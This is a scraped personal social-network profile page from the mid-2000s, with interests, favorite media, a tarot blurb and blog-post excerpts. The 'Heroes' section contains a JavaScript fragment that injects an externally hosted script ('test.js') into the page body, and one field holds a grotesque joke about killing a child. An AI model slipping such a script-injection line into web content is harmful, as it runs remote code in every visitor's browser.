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About Me

i'm pretty quite and keep to myself a lot. i write, i paint, play GC and PC: EQ, trying to learn the quitar but you know... no time no patience- i smoke and i drink... still travelling in my mind trying to figure myself out- who i am now and who i want to become, frustrating thing about it is that everyday i change. good... bad... i'll see-occupation: student full-time studying for masters in english: photo journalism and bachelors in small business. i model occasionally, i usually have a lot of artistic projects at once, and my dream is to be a well known poet and short fiction writer, and also to freelance for national geographic and spin magezines in photograghy. favorite reads: 1984, to kill a mocking bird, assorted peotry favorite movie: anything with molly ringwald. ah- army of darkness, dark city, the ring, LOTR, adaption, the machinist, baraka, eveangelion series- god yes, kite, love & pop of most recent. favorite place: bagby with a cheap bottle of wine, or flannel blankets with guiness. downtown portland when there are puddles about... body modifications: i have 14 peircings and 3 tattoos. any vises: yes... drinking cheap wine and whiskey, and smoking djarum black cigarettes with guatamalin black coffee. but, actually- i don't drink really anymore... on extreme special occasions nowadays and that's it. i've had my fun and now my liver and mind are tired of it. trying to quite smoking- successful for a month but then, now, not so successful. i smoke much less but still i smoke. it's terrible i know. favorite animal: i love cows... i actually collect cows... you should see my collection... it's wonderfully disgusting. *giggles*

You are The High Priestess

Science, Wisdom, Knowledge, Education.

The High Priestess is the card of knowledge, instinctual, supernatural, secret knowledge. She holds scrolls of arcane information that she might, or might not reveal to you. The moon crown on her head as well as the crescent by her foot indicates her willingness to illuminate what you otherwise might not see, reveal the secrets you need to know. The High Priestess is also associated with the moon however and can also indicate change or fluxuation, particularily when it comes to your moods.



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Fun to be with. Secretive. Difficult to fathom and to be understood.Quiet unless excited or tensed. Takes pride in oneself. Has reputation. Easily consoled. Honest. Concerned about people's feelings. Tactful. Friendly. Approachable. Emotional temperamental and unpredictable. Moody and easily hurt. Witty and sparkly. Not revengeful. Forgiving but never forgets.Dislikes nonsensical and unnecessary things. Guides others physically and mentally. Sensitive and forms impressions carefully. Caring and loving. Treats others equally. Strong sense of sympathy. Wary and sharp. Judges people through observations. Hardworking. No difficulties in studying. cyder --
[adjective]:
Sexually stunning
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My Interests

----- never fall in love with a musician. it takes more dedication than having faith does. being doteful, supportive, being a promoter without bias, and a taxi service for music equipment and sound systems is not nearly as amussing at is sounds. but, it does sound amussing doesn't it...?! no, not really~ i know~ it's sad... oh god. but it does give me the chance to take more photographs... still sad though. -----

Guy Fed up with Telemarketers You think BT is going to call him back just for fun? Warning: adult language (lots of it).

I'd like to meet:

the child of which i killed and then vinigarized in it's own feeding bottle...

Music:

. tea party .fraqtured sound .depeche mode .dandys .anti-flag .a perfect cirlce .m/m .portishead .assemblage 23 .wumpscut .311 .garbage .kmfdm .nostalgia .die form .kittie .ben harper .mazzy star .rancid .no doubt .dead can dance .enya .loreanna mckennit .leather stip .ring worm .korn .flogging molly .subhumanz .voltaire .crass .low pop suicide .elliot smith .exploding hearts .the muffs .alkoline trio .mazzy star .wumpscut .velvet acid christ .nin .the ramones .sex pistols .metallica .duran duran .k's choice .laibach .underworld .muse .vale *anything dark, crunchy, electro-industrial madness to the synthesized extreme, along with - regretably - a little emo. ......... .i'm tired now- can i stop.... i could go on and on

Movies:

i like anything horror: the ring is great... ummm... .eternal sunshine and the spotless mind . molly ringwald: love it all . adaption . thirteen . falling down . braveheart . lotr: all . farenhight 9/11 .harry potter: all- the books are even better i don't know... your bring it up, i've prolly seen it and enjoyed it

Television:

adult swim... inuyasha especially. i watch a lot of discovery and mtv/vh1. i like the real world so that explains that. i also like weeds, and six feet under, and i love invader zim... house and medium are good too

Books:

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Heroes:

muse, mary oliver, faiz ahmed faiz, richard laymen, and lilly- but they are not heros. they are more seen as mentors. AND OF COURSE... crystal stone. '.."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

My Blog

this isn't for one person, it's for everyone- so get over yourself...

to break up or not to break up- am i low enough to make a pros and cons list... jesus.... september is supposed to be my shitty block... not december, january, and febuary. parts of me i know are over...
Posted by : regretfully yours : on Tue, 13 Feb 2007 01:29:00 PST

alicia marie rasberry...?

where does someone start to hunt if they want to know what their histoy is? how do you begin to uncover your biological roots when your family is unwilling to give you clues? well, perhaps willin...
Posted by : regretfully yours : on Sat, 03 Jun 2006 03:39:00 PST

wait~ published...?

it just hit me~ i've actually been published. i can't believe it. my first submission to a presshouse and i was published. startling huh?! it wasn't even a piece that i am fond of. this is a good star...
Posted by : regretfully yours : on Tue, 09 May 2006 10:57:00 PST

Jasmine~ Just So You Know

Jasmine~ I've missed you a lot today... Actually I've missed more so in these last few weeks than usual. I just wish that I could cuddle you and fall asleep to you wheezing and making biscuts on my ch...
Posted by : regretfully yours : on Thu, 27 Apr 2006 04:42:00 PST

fuck you- all of you

  i'm tired of seeing the same faces and hearing the same untrue whispers behind my back. sometimes~  i hate you- all of you. you tend to make me notious for various reasons, all good ones j...
Posted by : regretfully yours : on Wed, 26 Apr 2006 10:56:00 PST

my inbox~

so... i log in and i found messages in my inbox. a message from a photoless profile whom and has no descriptions in any fields... nothing to tell me who they are. but i think i know who it is... simpl...
Posted by : regretfully yours : on Fri, 24 Feb 2006 01:09:00 PST

drama indeed...

  drama~i hate drama, some how i always wind up getting myself into it... i don't know maybe in some sick way i am like the people how enjoy it and feed off of it~ since it i always run into...
Posted by : regretfully yours : on Thu, 02 Feb 2006 01:20:00 PST

hhhmmm... life in general i guess

so life is busy, crazy, chaotic, extreme... you know life.i guess i'm happy, relatively anyway.i have a lot good things going for me so i can't exactly complain. i'm writing more, i know exactly where...
Posted by : regretfully yours : on Thu, 02 Feb 2006 01:18:00 PST

unexplainable changes

oh god- life is killing me (laughs*). where to start... my head is lost in new and old exciting ventures. burns, bruises, a bouquet of "lilly's", clubs, drinks, independence trying to be controlled, s...
Posted by : regretfully yours : on Thu, 25 Aug 2005 08:55:00 PST

thought of you sweet.heart

thought of you sweet ali when i read this section in one of my bullitens. i love you and i'm here for you even if it's been forever... someone is thinking of you. someone cares about you. someo...
Posted by : regretfully yours : on Mon, 01 Jan 1900 12:00:00 PST